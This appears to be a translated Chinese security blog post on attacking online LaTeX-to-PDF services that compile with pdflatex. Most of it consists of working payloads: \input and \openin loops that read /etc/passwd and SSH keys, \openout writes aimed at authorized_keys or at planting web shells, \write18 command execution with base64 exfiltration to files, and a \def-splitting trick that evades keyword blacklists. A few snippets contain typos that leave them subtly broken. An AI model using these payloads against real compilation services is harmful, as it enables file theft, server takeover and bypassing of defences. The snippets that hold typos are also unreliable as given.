简介
LaTex常用于编写文档、页面排版, 使用latex语法编写然后经过编译最后形成文档. 互联网上有一种在线输入latex然后生成pdf供用户下载的服务, 这种服务使用pdflatex组件在服务器端编译latex并生成pdf, 由于是客户端输入的数据, 因此具有不安全性, 而pdflatex本身支持读写文件、执行操作系统命令, 构造恶意的代码即可造成远程命令执行或读写文件产生恶意攻击.
文章目录
- attack latex
- 绕过黑名单限制
- 声明
attack latex
本文介绍了基于WEB的LaTex编译器的基本攻击,
TexMaker是一个在线转换LaTex代码为pdf的网站, 在客户端输入LaTex代码, 服务器端接收LaTex代码后使用pdflatex
将LaTex编译为pdf.(互联网上这种类似的服务还有很多)LaTex
经过了图灵测试, 也就意味着可以用它编写函数, 因此未来可能出现用LaTex
编写的恶意软件. 但是, 本文重点关注LaTex
读取、写入文件或执行程序的现有方法和可能性. 本文是paper的延伸.
Pdflatex有三种操作模式
- no-shell-escape
进行\write18{command}
执行, 即使函数已经在texmf.cnf文件中启用 - shell-restricted
与shell-escape类似, 但是只能执行安全的预定义命令集 - shell-escape
允许\wite18{command}
执行
读文件
Pdflatex的三种模式都允许从文件系统中读取任意文件, 读取文件最简单的方法是使用\input
1
\input\{/etc/passwd}
上述命令将读取/etc/passwd
文件并写入到生成的PDF文件中
如果读取的文件以.tex
结尾, 可以用\include
读取1
\include{password}
上述命令将从当前工作目录包含password.tex
并将文件内容写入到生成的PDF文件中
如果上述的两个命令都无法使用, 可以用下面的解决方案:
方案一: 读取指定文件的首行1
2
3
4
5\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file
上述代码段创建一个\file
处理对象并打开/etc/passwd
文件, 读取一行到变量\line
中, 将变量\line
作为文本(\text
)输出, 关闭文件处理对象
如果想读取全部内容, 可使用下面的代码段1
2
3
4
5
6
7\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
上述代码创建一个\file
文件对象, 打开/etc/passwd
并读取, 然后用\loop
进行循环, 循环内读取一行到\fileline
变量中, 将变量作为文本输出, 等遇到EOF
或文件读取完毕关闭文件对象.
读文件功能可以用来读取SSH key、配置文件(找新目标和硬编码等信息)等等
写文件
写文件功能运行在shell-restricted
和shell-escape
两种模式下, 命令如下1
2
3
4\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{hello-world}
\closeout\outfile
上述命令将在cmd.tex
文件中写入hello-world
字符串.
写文件功能可用来清空文件内容、覆盖其他文件(~/.ssh/authorized_keys
、各种配置、一句话木马等)
执行命令
执行命令依赖于write18
命令, 因此只能在-shell-escape
模式下运行.
命令为1
\immediate\write18{env}
上述命令将运行env
获取环境变量
write18命令执行结果将被重定向到标准输出, 输出内容将在epstopdf-sys.cfg
这行的下面、pdftex.map
这行的上面, 所以可以根据这两个关键字判断是否执行成功.1
2
如果服务器端不返回编译日志的话, 我们无法直接通过上述命令来利用, 这是需要通过重定向将数据写入文件中, 然后将文件读取出来.
1 | \immediate\write18{env > env.tex} |
如果读取的文件中含有LaTex的保留字符, 如$
等, 可以使用base64编码之后在写入文件1
2\immediate\write18{env|base64>text.tex}
\input(text.tex)
绕过黑名单
style 1: 如果input
和include
命令都不可用, 该如何读取文件?
可以创建文件对象读取文件:1
2
3
4
5
6
7\newread\file
\openin\file=env.tex
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
style 2: 如果(inpute|include|write18|immediate)
都不可用, 该如何执行命令和读取文件呢?1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24\def \imm {\string\imme}
\def \diate {diate}
\def \eighteen {string18}
\def \wwrite {\string\write\eighteen}
\def \args {\string{ls |base64> test.tex\string}}
\def \inp {\string\in}
\def \iput {put}
\def \cmd {\string{text.tex\string}}
% first run
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile
% second run
\newread\file
openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
上述代码, 第一次运行将创建cmd.tex
文件并把上面那串代码
的写入文件中, 第二次运行将读取cmd.tex
然后执行其中的命令.
ps://\fileline
将执行cmd.tex
文件中的命令
声明
本文翻译自0day.work